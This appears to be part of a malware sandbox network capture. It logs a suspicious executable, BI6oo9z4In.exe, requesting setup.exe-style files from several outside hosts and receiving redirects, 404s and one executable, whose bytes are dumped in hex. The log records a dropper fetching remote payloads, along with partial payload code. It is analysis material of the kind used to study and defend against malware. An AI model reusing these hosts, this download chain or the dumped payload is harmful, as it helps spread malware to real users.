2024-05-24 07:42:06 UTC	1369	IN	Data Raw: 44 24 04 7c 53 8b 44 24 04 29 05 6c c4 40 00 8b 44 24 04 01 05 70 c4 40 00 83 3d 6c c4 40 00 0c 7d 18 a1 6c c4 40 00 01 05 70 c4 40 00 03 35 6c c4 40 00 33 c0 a3 6c c4 40 00 8b c6 2b c7 01 05 00 c4 40 00 8b 45 00 25 03 00 00 80 0b f0 89 75 00 b0 01 e9 a2 00 00 00 e8 55 f9 ff ff 8b dd 03 df f6 03 02 75 4d 8b d3 8b c2 8b 48 08 89 0c 24 8b 0c 24 3b 4c 24 04 73 0e 03 14 24 8b da 8b 04 24 29 44 24 04 eb 2c e8 66 f6 ff ff 8b 44 24 04 29 04 24 83 3c 24 0c 7c 0e 8b c5 03 c6 8b 14 24 e8 8d f8 ff ff eb 3a 03 34 24 8b dd 03 de 83 23 fe eb 2e 8b 03 a9 00 00 00 80 74 21 25 fc ff ff 7f 03 c3 8b d8 8b 54 24 04 8b c3 e8 e6 f9 ff ff 84 c0 74 09 8b dd 03 df e9 0d ff ff ff 33 c0 eb 19 8b c6 2b c7 01 05 00 c4 40 00 8b 45 00 25 03 00 00 80 0b f0 89 75 00 b0 01 59 5a 5d 5f 5e Data Ascii: D$\|SD$)l@D$p@=l@}l@p@5l@3l@+@E%uUuMH$$;L$s$$)D$,fD$)$<$\|$:4$#.t!%T$t3+@E%uYZ]_^
2024-05-24 07:42:06 UTC	1369	IN	Data Raw: 07 8b 08 b2 01 ff 51 fc c3 57 89 d7 ab 8b 48 e8 31 c0 51 c1 e9 02 49 f3 ab 59 83 e1 03 f3 aa 89 d0 5f c3 8b c0 53 56 89 c3 8b 30 8b 56 d0 8b 76 ec 85 d2 74 07 e8 f3 0b 00 00 89 d8 85 f6 75 eb 5e 5b c3 8b c0 85 c0 74 10 8b 00 39 d0 74 08 8b 40 ec 85 c0 75 f5 c3 b0 01 c3 8d 40 00 57 93 8b 7b e0 85 ff 74 0d 0f b7 0f 51 83 c7 02 66 f2 af 74 0a 59 8b 5b ec 85 db 75 e5 5f c3 58 01 c0 29 c8 8b 5c 47 fc 5f c3 8b c0 39 d0 74 08 8b 40 ec 85 c0 75 f5 c3 b0 01 c3 90 8b 40 d4 c3 c3 8d 40 00 53 66 8b 1a 66 09 db 74 17 66 81 fb 00 c0 73 10 50 8b 00 e8 a4 ff ff ff 58 74 05 89 d9 5b ff e1 5b 8b 08 ff 61 f0 c3 90 53 56 57 31 c9 31 ff 8a 1a 8b 70 dc 85 f6 74 15 66 8b 3e 83 c6 02 8a 4e 06 38 d9 74 15 66 8b 0e 01 ce 4f 75 f1 8b 40 ec 85 c0 75 dd eb 18 8a 1a eb eb b5 00 8a 5c Data Ascii: QWH1QIY_SV0Vvtu^[t9t@u@W{tQftY[u_X)\G_9t@u@@SfftfsPXt[[aSVW11ptf>N8tfOu@u\
2024-05-24 07:42:06 UTC	1369	IN	Data Raw: 50 68 8c 2e 40 00 52 e8 40 e3 ff ff 8b 44 24 04 8b 08 8b 50 18 81 f9 ce fa ed 0e 75 05 8b 40 14 eb 03 8b 40 0c 31 ed 64 8b 65 00 64 8f 45 00 5d c3 8d 40 00 5a 54 55 57 56 53 50 52 54 6a 07 6a 01 68 ce fa ed 0e 52 e9 f0 e2 ff ff c3 8d 40 00 8b 44 24 30 c7 40 04 1b 2f 40 00 e8 74 02 00 00 8b 90 00 00 00 00 8b 0a 89 88 00 00 00 00 8b 42 0c 83 60 04 fd 81 38 ce fa ed 0e 74 0d 8b 42 08 e8 1f fa ff ff e8 02 fc ff ff 31 c0 83 c4 14 64 8b 10 59 8b 12 89 11 5d 5f 5e 5b b8 01 00 00 00 c3 8d 40 00 e8 2b 02 00 00 8b 90 00 00 00 00 8b 0a 89 88 00 00 00 00 8b 42 08 e8 e5 f9 ff ff 5a 8b 64 24 2c 31 c0 59 64 89 08 58 5d e8 7b fc ff ff ff e2 c3 31 d2 8b 4c 24 08 8b 44 24 04 83 c1 05 64 89 02 ff d1 c2 0c 00 c3 8b c0 89 14 24 e9 cd 0e 00 00 c3 8d 40 00 55 8b ec 8b 55 08 8b Data Ascii: Ph.@R@D$Pu@@1dedE]@ZTUWVSPRTjjhR@D$0@/@tB`8tB1dY]_^[@+BZd$,1YdX]{1L$D$d$@UU
2024-05-24 07:42:06 UTC	1369	IN	Data Raw: c0 74 0a 8b 48 fc 01 ce e8 9e f2 ff ff 4b 75 e9 5a 58 85 d2 74 03 ff 4a f8 e8 f1 fd ff ff 5a 5e 5b 58 8d 24 94 ff e0 c3 8d 40 00 85 c0 74 09 8b 50 f8 42 7e 03 89 50 f8 c3 8b c0 85 c0 74 02 c3 00 b8 19 34 40 00 c3 8b 10 85 d2 74 2b 8b 4a f8 49 74 25 53 89 c3 8b 42 fc e8 1d fe ff ff 89 c2 8b 03 89 13 8b 48 f8 49 7c 03 89 48 f8 8b 48 fc e8 36 f2 ff ff 8b 13 5b 89 d0 c3 53 85 c0 74 2d 8b 58 fc 85 db 74 26 4a 7c 1b 39 da 7d 1f 29 d3 85 c9 7c 19 39 d9 7f 11 01 c2 8b 44 24 08 e8 fc fd ff ff eb 11 31 d2 eb e5 89 d9 eb eb 8b 44 24 08 e8 09 fd ff ff 5b c2 04 00 c3 85 c0 74 56 53 56 57 55 89 c3 89 d6 89 cf 8b 12 52 85 d2 74 03 8b 52 fc 4f 7d 02 31 ff 39 d7 7e 02 89 d7 8b 6b fc 89 f0 01 ea e8 2d 00 00 00 58 39 d8 75 02 8b 1e 8b 06 8d 14 2f 8b 48 fc 29 d1 01 c2 01 f8 Data Ascii: tHKuZXtJZ^[X$@tPB~Pt4@t+JIt%SBHI\|HH6[St-Xt&J\|9})\|9D$1D$[tVSVWURtRO}19~k-X9u/H)
2024-05-24 07:42:06 UTC	1369	IN	Data Raw: eb f0 66 81 fb 00 01 75 58 66 83 f8 08 75 0a 8b 45 ec e8 1b ff ff ff eb 52 66 c7 45 f0 00 00 8d 45 f0 66 b9 08 00 e8 97 fe ff ff 33 c0 55 68 8c 39 40 00 64 ff 30 64 89 20 8d 55 f0 8b 45 ec e8 ee fe ff ff 33 c0 5a 59 59 64 89 10 68 9d 39 40 00 8d 45 f0 e8 c1 fd ff ff c3 e9 6b f4 ff ff eb f0 8b 45 ec 8b cb e8 57 fe ff ff 5b 8b e5 5d c3 8b c0 66 81 3a 00 01 75 08 8b 52 08 e9 35 f8 ff ff 53 89 c3 83 ec 10 66 c7 04 24 00 00 89 e0 b9 00 01 00 00 e8 e9 fe ff ff 89 d8 e8 c6 f7 ff ff 8b 44 24 08 89 03 83 c4 10 5b c3 8d 40 00 e9 67 fd ff ff c3 8b c0 a1 90 c4 40 00 8b 10 89 15 90 c4 40 00 8b 50 04 89 15 24 c0 40 00 8b 40 08 ff d0 c3 8b 15 90 c4 40 00 89 10 8b 15 24 c0 40 00 89 50 04 a3 90 c4 40 00 c7 05 24 c0 40 00 e8 39 40 00 c3 8d 40 00 33 d2 89 50 10 89 50 0c 52 Data Ascii: fuXfuERfEEf3Uh9@d0d UE3ZYYdh9@EkEW[]f:uR5Sf$D$[@g@@P$@@@$@P@$@9@@3PPR

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
4	192.168.2.4	49758	146.70.56.165	443	6852	C:\Users\user\Desktop\BI6oo9z4In.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-24 07:42:06 UTC	205	OUT	GET /dll/builddoc.exe HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36 Host: kurd.computer Cache-Control: no-cache
2024-05-24 07:42:07 UTC	416	IN	HTTP/1.1 404 Not Found Connection: close cache-control: private, no-cache, no-store, must-revalidate, max-age=0 pragma: no-cache content-type: text/html content-length: 1251 date: Fri, 24 May 2024 07:42:08 GMT server: LiteSpeed alt-svc: h3=":443"; ma=2592000, h3-29=":443"; ma=2592000, h3-Q050=":443"; ma=2592000, h3-Q046=":443"; ma=2592000, h3-Q043=":443"; ma=2592000, quic=":443"; ma=2592000; v="43,46"
2024-05-24 07:42:07 UTC	952	IN	Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 73 74 79 6c 65 3d 22 68 65 69 67 68 74 3a 31 30 30 25 22 3e 0a 3c 68 65 61 64 3e 0a 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 73 68 72 69 6e 6b 2d 74 6f 2d 66 69 74 3d 6e 6f 22 20 2f 3e 0a 3c 74 69 74 6c 65 3e 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 0d 0a 3c 2f 74 69 74 6c 65 3e 3c 73 74 79 6c 65 3e 40 6d 65 64 69 61 20 28 70 72 65 66 65 72 73 2d 63 6f 6c 6f 72 2d 73 63 68 65 6d 65 3a 64 61 72 6b 29 7b 62 6f 64 79 7b 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 23 30 30 30 21 69 6d 70 6f 72 74 61 6e 74 7d 7d 3c 2f 73 74 79 Data Ascii: <!DOCTYPE html><html style="height:100%"><head><meta name="viewport" content="width=device-width, initial-scale=1, shrink-to-fit=no" /><title> 404 Not Found</title><style>@media (prefers-color-scheme:dark){body{background-color:#000!important}}</sty
2024-05-24 07:42:07 UTC	299	IN	Data Raw: 2d 74 6f 70 3a 20 31 70 78 20 73 6f 6c 69 64 20 72 67 62 61 28 30 2c 30 2c 30 2c 30 2e 31 35 29 3b 62 6f 78 2d 73 68 61 64 6f 77 3a 20 30 20 31 70 78 20 30 20 72 67 62 61 28 32 35 35 2c 20 32 35 35 2c 20 32 35 35 2c 20 30 2e 33 29 20 69 6e 73 65 74 3b 22 3e 0a 3c 62 72 3e 50 72 6f 75 64 6c 79 20 70 6f 77 65 72 65 64 20 62 79 20 4c 69 74 65 53 70 65 65 64 20 57 65 62 20 53 65 72 76 65 72 3c 70 3e 50 6c 65 61 73 65 20 62 65 20 61 64 76 69 73 65 64 20 74 68 61 74 20 4c 69 74 65 53 70 65 65 64 20 54 65 63 68 6e 6f 6c 6f 67 69 65 73 20 49 6e 63 2e 20 69 73 20 6e 6f 74 20 61 20 77 65 62 20 68 6f 73 74 69 6e 67 20 63 6f 6d 70 61 6e 79 20 61 6e 64 2c 20 61 73 20 73 75 63 68 2c 20 68 61 73 20 6e 6f 20 63 6f 6e 74 72 6f 6c 20 6f 76 65 72 20 63 6f 6e 74 65 6e 74 20 Data Ascii: -top: 1px solid rgba(0,0,0,0.15);box-shadow: 0 1px 0 rgba(255, 255, 255, 0.3) inset;"><br>Proudly powered by LiteSpeed Web Server<p>Please be advised that LiteSpeed Technologies Inc. is not a web hosting company and, as such, has no control over content

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
5	192.168.2.4	49760	45.130.41.108	443	6852	C:\Users\user\Desktop\BI6oo9z4In.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-24 07:42:06 UTC	207	OUT	GET /525403/setup.exe HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36 Host: monoblocked.com Cache-Control: no-cache
2024-05-24 07:42:07 UTC	240	IN	HTTP/1.1 301 Moved Permanently Server: nginx-reuseport/1.21.1 Date: Fri, 24 May 2024 07:42:07 GMT Content-Type: text/html; charset=iso-8859-1 Content-Length: 327 Connection: close Location: https://f.123654987.xyz/525403/setup.exe
2024-05-24 07:42:07 UTC	327	IN	Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 64 6f 63 75 6d 65 6e 74 20 68 61 73 20 6d 6f 76 65 64 20 3c 61 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 66 2e 31 32 33 36 35 34 39 38 37 2e 78 79 7a 2f 35 32 35 34 30 33 2f 73 65 74 75 70 2e 65 78 65 22 3e 68 65 72 65 3c 2f 61 3e 2e 3c 2f 70 3e 0a 3c 68 72 3e 0a 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>301 Moved Permanently</title></head><body><h1>Moved Permanently</h1><p>The document has moved <a href="https://f.123654987.xyz/525403/setup.exe">here</a>.</p><hr><address>Apache/2

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
6	192.168.2.4	49762	188.114.97.3	443	6852	C:\Users\user\Desktop\BI6oo9z4In.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-24 07:42:06 UTC	574	OUT	HEAD /var/www/keitaro/post/File_294/setup294.exe HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36 Cache-Control: no-cache Host: fleur-de-lis.sbs Connection: Keep-Alive Cookie: _subid=38akcjk2e8lg2; 3c8e6=eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJkYXRhIjoie1wic3RyZWFtc1wiOntcIjI0OVwiOjE3MTY1MzY1MjV9LFwiY2FtcGFpZ25zXCI6e1wiMjVcIjoxNzE2NTM2NTI1fSxcInRpbWVcIjoxNzE2NTM2NTI1fSJ9.j44058psupnUysTtdISWQPrExbM7CT9xTMjMxxQUiB0; _token=uuid_38akcjk2e8lg2_38akcjk2e8lg2665044ce24fd99.54897045
2024-05-24 07:42:07 UTC	183	IN	HTTP/1.1 404 Not Found Date: Fri, 24 May 2024 07:42:07 GMT Content-Type: text/html Connection: close CF-Cache-Status: EXPIRED Server: cloudflare CF-RAY: 888ba5ae49a380dc-EWR

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
7	192.168.2.4	49766	188.114.97.3	443	6852	C:\Users\user\Desktop\BI6oo9z4In.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-24 07:42:08 UTC	536	OUT	GET /jhgfd HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36 Cache-Control: no-cache Host: fleur-de-lis.sbs Connection: Keep-Alive Cookie: _subid=38akcjk2e8lg2; 3c8e6=eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJkYXRhIjoie1wic3RyZWFtc1wiOntcIjI0OVwiOjE3MTY1MzY1MjV9LFwiY2FtcGFpZ25zXCI6e1wiMjVcIjoxNzE2NTM2NTI1fSxcInRpbWVcIjoxNzE2NTM2NTI1fSJ9.j44058psupnUysTtdISWQPrExbM7CT9xTMjMxxQUiB0; _token=uuid_38akcjk2e8lg2_38akcjk2e8lg2665044ce24fd99.54897045
2024-05-24 07:42:08 UTC	934	IN	HTTP/1.1 302 Found Date: Fri, 24 May 2024 07:42:08 GMT Content-Type: text/html; charset=utf-8 Transfer-Encoding: chunked Connection: close Cache-Control: no-cache, no-store, must-revalidate Expires: Fri, 24 May 2024 07:42:08 GMT Location: /var/www/keitaro/post/File_294/setup294.exe Set-Cookie: _subid=38akcjk2e8lg3; expires=Mon, 24 Jun 2024 07:42:08 GMT; path=/ Set-Cookie: 3c8e6=eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJkYXRhIjoie1wic3RyZWFtc1wiOntcIjI0OVwiOjE3MTY1MzY1MjV9LFwiY2FtcGFpZ25zXCI6e1wiMjVcIjoxNzE2NTM2NTI1fSxcInRpbWVcIjoxNzE2NTM2NTI1fSJ9.j44058psupnUysTtdISWQPrExbM7CT9xTMjMxxQUiB0; expires=Sun, 16 Oct 2078 15:24:16 GMT; path=/ Set-Cookie: _token=uuid_38akcjk2e8lg3_38akcjk2e8lg3665044d08d1742.67470230; expires=Mon, 24 Jun 2024 07:42:08 GMT; path=/ Vary: Accept-Encoding X-Powered-By: PHP/7.4.33 Access-Control-Allow-Origin: * CF-Cache-Status: DYNAMIC Server: cloudflare CF-RAY: 888ba5b5b9e642bc-EWR
2024-05-24 07:42:08 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
8	192.168.2.4	49768	37.221.125.202	443	6852	C:\Users\user\Desktop\BI6oo9z4In.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-24 07:42:08 UTC	231	OUT	GET /525403/setup.exe HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36 Cache-Control: no-cache Host: f.123654987.xyz Connection: Keep-Alive
2024-05-24 07:42:08 UTC	248	IN	HTTP/1.1 200 OK Server: nginx Date: Fri, 24 May 2024 07:42:08 GMT Content-Type: application/octet-stream Content-Length: 7629919 Last-Modified: Fri, 24 May 2024 07:00:06 GMT Connection: close ETag: "66503af6-746c5f" Accept-Ranges: bytes
2024-05-24 07:42:08 UTC	16136	IN	Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 e8 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 dd e1 1d 57 99 80 73 04 99 80 73 04 99 80 73 04 1a 9c 7d 04 80 80 73 04 af a6 79 04 d9 80 73 04 17 88 2c 04 98 80 73 04 99 80 72 04 21 80 73 04 1a 88 2e 04 90 80 73 04 af a6 78 04 d4 80 73 04 f6 f6 d9 04 9e 80 73 04 f6 f6 ed 04 98 80 73 04 5e 86 75 04 98 80 73 04 52 69 63 68 99 80 73 04 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 05 00 f7 53 e5 4c 00 00 00 00 00 00 00 00 e0 00 0f Data Ascii: MZ@!L!This program cannot be run in DOS mode.$Wsss}sys,sr!s.sxsss^usRichsPELSL
2024-05-24 07:42:08 UTC	16384	IN	Data Raw: 0c 8b 45 b8 c1 e8 04 a8 01 75 22 32 db ff 75 c0 e8 7f ef ff ff ff 75 dc e8 77 ef ff ff ff 75 e8 e8 6f ef ff ff 83 c4 0c e9 92 00 00 00 ff 75 c0 c6 45 fc 01 e8 5b ef ff ff 59 8d 45 dc 8d 4d e8 50 e8 2c d2 ff ff 3b 75 ec 0f 8d 81 00 00 00 8b 55 e8 8d 44 72 02 66 8b 08 66 3b cf 74 09 66 85 c9 74 0c 40 40 eb ef 2b c2 d1 f8 8b f0 eb 03 83 ce ff 85 f6 7d 03 8b 75 ec 8d 45 d0 56 50 8d 4d e8 e8 ac d2 ff ff 8b 08 c6 45 fc 04 e8 03 fe ff ff 8a d8 c6 45 fc 01 ff 75 d0 f6 db 1a db fe c3 e8 ef ee ff ff 84 db 59 74 9c 32 db ff 75 dc e8 e0 ee ff ff 8b 55 e8 59 52 e8 d6 ee ff ff 59 8b 4d f4 5f 8a c3 5e 5b 64 89 0d 00 00 00 00 c9 c3 b3 01 eb d8 56 8b f1 33 d2 e8 b6 fc ff ff 84 c0 75 02 5e c3 56 ff 15 f8 b0 41 00 85 c0 0f 95 c0 5e c3 55 8b ec 83 ec 0c 80 3d 48 31 42 00 00 Data Ascii: Eu"2uuwuouE[YEMP,;uUDrff;tft@@+}uEVPMEEuYt2uUYRYM_^[dV3u^VA^U=H1B
2024-05-24 07:42:08 UTC	16384	IN	Data Raw: ff ff 89 7d fc e8 b0 ad ff ff e9 56 ff ff ff 8b 45 e0 66 89 5d c8 66 89 5d ca 8b 40 0c 8b 74 88 fc 8b 06 8d 7d c8 57 52 8b 08 50 89 55 fc ff 51 20 3b c3 0f 85 ba 01 00 00 66 83 7d c8 13 0f 85 29 03 00 00 8b 06 8b 7d d0 8d 55 c4 8b 08 52 50 ff 51 14 3b c3 0f 85 98 01 00 00 3b 7d c4 0f 83 09 03 00 00 83 4d fc ff 8d 4d c8 e8 bc d2 ff ff 89 5d f0 8b 06 8d 55 f0 52 68 28 b2 41 00 8b 08 50 c7 45 fc 02 00 00 00 ff 11 85 c0 8b 45 f0 0f 85 cf 02 00 00 3b c3 0f 84 c7 02 00 00 89 5d ec 8b 08 8d 55 ec 52 57 50 c6 45 fc 03 ff 51 0c 85 c0 8b 45 ec 0f 85 a1 02 00 00 3b c3 0f 84 99 02 00 00 89 5d e8 8b 08 8d 55 e8 52 68 f8 b2 41 00 50 c6 45 fc 04 ff 11 3b c3 8b 45 e8 0f 85 70 02 00 00 3b c3 0f 84 68 02 00 00 8d 4d 88 e8 a6 02 00 00 8d 45 8c 8b ce 50 57 c6 45 fc 05 e8 63 Data Ascii: }VEf]f]@t}WRPUQ ;f})}URPQ;;}MM]URh(APEE;]URWPEQE;]URhAPE;Ep;hMEPWEc
2024-05-24 07:42:08 UTC	16384	IN	Data Raw: b2 41 00 ff 75 0c e8 bd 69 00 00 83 c4 0c 85 c0 75 12 8b 4d 10 8b 45 08 50 89 01 8b 08 ff 51 04 33 c0 eb 05 b8 02 40 00 80 5d c2 0c 00 56 8b 74 24 08 ff 4e 04 8b 46 04 75 14 85 f6 74 0e 8b ce e8 0d 00 00 00 56 e8 49 6f ff ff 59 33 c0 5e c2 04 00 b8 5f a3 41 00 e8 f0 6d 00 00 51 56 8b f1 89 75 f0 83 65 fc 00 8d 4e 10 e8 1e 00 00 00 8b 76 08 83 4d fc ff 85 f6 74 06 8b 06 56 ff 50 08 8b 4d f4 5e 64 89 0d 00 00 00 00 c9 c3 b8 ac a3 41 00 e8 b5 6d 00 00 51 56 8b f1 89 75 f0 8d 8e ac 01 00 00 c7 45 fc 04 00 00 00 e8 f5 76 ff ff 8d 8e 98 01 00 00 c6 45 fc 03 e8 e6 76 ff ff 8d 8e 84 01 00 00 c6 45 fc 02 e8 d7 76 ff ff 8d 8e 70 01 00 00 c6 45 fc 01 e8 c8 76 ff ff 80 65 fc 00 8d 8e 58 01 00 00 e8 b9 76 ff ff 83 4d fc ff 8b ce e8 0d 00 00 00 8b 4d f4 5e 64 89 0d 00 Data Ascii: AuiuMEPQ3@]Vt$NFutVIoY3^_AmQVueNvMtVPM^dAmQVuEvEvEvpEveXvMM^d
2024-05-24 07:42:08 UTC	16384	IN	Data Raw: c7 40 04 24 b5 41 00 c7 40 08 60 b8 41 00 89 48 0c 89 48 10 89 88 a0 00 00 00 89 48 14 88 88 90 00 00 00 88 88 91 00 00 00 c7 80 b4 00 00 00 00 00 10 00 c7 80 b8 00 00 00 00 00 40 00 88 88 c0 00 00 00 c7 00 24 b9 41 00 c7 40 04 14 b9 41 00 c7 40 08 00 b9 41 00 89 88 a4 00 00 00 89 48 1c 89 48 18 89 48 34 89 48 30 c3 55 8b ec 56 8b 75 0c 6a 10 68 4c b9 41 00 56 e8 4a 29 00 00 83 c4 0c 85 c0 75 0a 8b 4d 10 8b 45 08 89 01 eb 59 6a 10 68 a8 b2 41 00 56 e8 2c 29 00 00 83 c4 0c 85 c0 74 e2 6a 10 68 98 b2 41 00 56 e8 18 29 00 00 83 c4 0c 85 c0 75 0a 8b 45 08 8b c8 8d 50 04 eb 1c 6a 10 68 48 b2 41 00 56 e8 fa 28 00 00 83 c4 0c 85 c0 75 1d 8b 45 08 8b c8 8d 50 08 f7 d9 1b c9 23 ca 8b 55 10 89 0a 8b 08 50 ff 51 04 33 c0 eb 05 b8 02 40 00 80 5e 5d c2 0c 00 8b 44 24 Data Ascii: @$A@`AHHH@$A@A@AHHH4H0UVujhLAVJ)uMEYjhAV,)tjhAV)uEPjhHAV(uEP#UPQ3@^]D$
2024-05-24 07:42:09 UTC	16384	IN	Data Raw: ff 68 e0 b9 41 00 68 2c 4a 41 00 64 a1 00 00 00 00 50 64 89 25 00 00 00 00 83 ec 58 53 56 57 89 65 e8 ff 15 74 b0 41 00 33 d2 8a d4 89 15 d0 33 42 00 8b c8 81 e1 ff 00 00 00 89 0d cc 33 42 00 c1 e1 08 03 ca 89 0d c8 33 42 00 c1 e8 10 a3 c4 33 42 00 6a 01 e8 96 0e 00 00 59 85 c0 75 08 6a 1c e8 c3 00 00 00 59 e8 48 09 00 00 85 c0 75 08 6a 10 e8 b2 00 00 00 59 33 f6 89 75 fc e8 b7 2a 00 00 ff 15 78 b0 41 00 a3 3c 5a 42 00 e8 75 29 00 00 a3 40 33 42 00 e8 1e 27 00 00 e8 60 26 00 00 e8 bb 20 00 00 89 75 d0 8d 45 a4 50 ff 15 7c b0 41 00 e8 f1 25 00 00 89 45 9c f6 45 d0 01 74 06 0f b7 45 d4 eb 03 6a 0a 58 50 ff 75 9c 56 56 ff 15 80 b0 41 00 50 e8 30 c4 fe ff 89 45 a0 50 e8 a9 20 00 00 8b 45 ec 8b 08 8b 09 89 4d 98 50 51 e8 3b 24 00 00 59 59 c3 8b 65 e8 ff 75 98 Data Ascii: hAh,JAdPd%XSVWetA33B3B3B3BjYujYHujY3u*xA<ZBu)@3B'`& uEP\|A%EEtEjXPuVVAP0EP EMPQ;$YYeu
2024-05-24 07:42:09 UTC	16384	IN	Data Raw: 85 94 00 00 00 39 5d 18 75 08 a1 4c 35 42 00 89 45 18 53 53 ff 75 10 ff 75 0c 8b 45 20 f7 d8 1b c0 83 e0 08 40 50 ff 75 18 ff 15 a8 b0 41 00 89 45 e0 3b c3 74 63 89 5d fc 8d 3c 00 8b c7 83 c0 03 24 fc e8 70 b1 ff ff 89 65 e8 8b f4 89 75 dc 57 53 56 e8 40 f2 ff ff 83 c4 0c eb 0b 6a 01 58 c3 8b 65 e8 33 db 33 f6 83 4d fc ff 3b f3 74 29 ff 75 e0 56 ff 75 10 ff 75 0c 6a 01 ff 75 18 ff 15 a8 b0 41 00 3b c3 74 10 ff 75 14 50 56 ff 75 08 ff 15 00 b0 41 00 eb 02 33 c0 8d 65 cc 8b 4d f0 64 89 0d 00 00 00 00 5f 5e 5b c9 c3 cc cc cc cc cc cc cc cc cc cc cc 55 8b ec 56 33 c0 50 50 50 50 50 50 50 50 8b 55 0c 8d 49 00 8a 02 0a c0 74 07 42 0f ab 04 24 eb f3 8b 75 08 83 c9 ff 90 41 8a 06 0a c0 74 07 46 0f a3 04 24 73 f2 8b c1 83 c4 20 5e c9 c3 cc cc 55 8b ec 56 33 c0 50 Data Ascii: 9]uL5BESSuuE @PuAE;tc]<$peuWSV@jXe33M;t)uVuujuA;tuPVuA3eMd_^[UV3PPPPPPPPUItB$uAtF$s ^UV3P
2024-05-24 07:42:09 UTC	16384	IN	Data Raw: 01 00 00 00 a4 99 41 00 01 00 00 00 ac 99 41 00 01 00 00 00 b4 99 41 00 00 00 00 00 bc 99 41 00 ff ff ff ff c4 99 41 00 20 05 93 19 01 00 00 00 50 d1 41 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ff ff ff ff d8 99 41 00 20 05 93 19 01 00 00 00 78 d1 41 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ff ff ff ff ec 99 41 00 20 05 93 19 02 00 00 00 a0 d1 41 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ff ff ff ff 00 9a 41 00 00 00 00 00 0a 9a 41 00 20 05 93 19 01 00 00 00 d0 d1 41 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ff ff ff ff 1c 9a 41 00 20 05 93 19 01 00 00 00 f8 d1 41 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ff ff ff ff 30 9a 41 00 20 05 93 19 01 00 00 Data Ascii: AAAAA PAA xAA AAA AA A0A
2024-05-24 07:42:09 UTC	16384	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 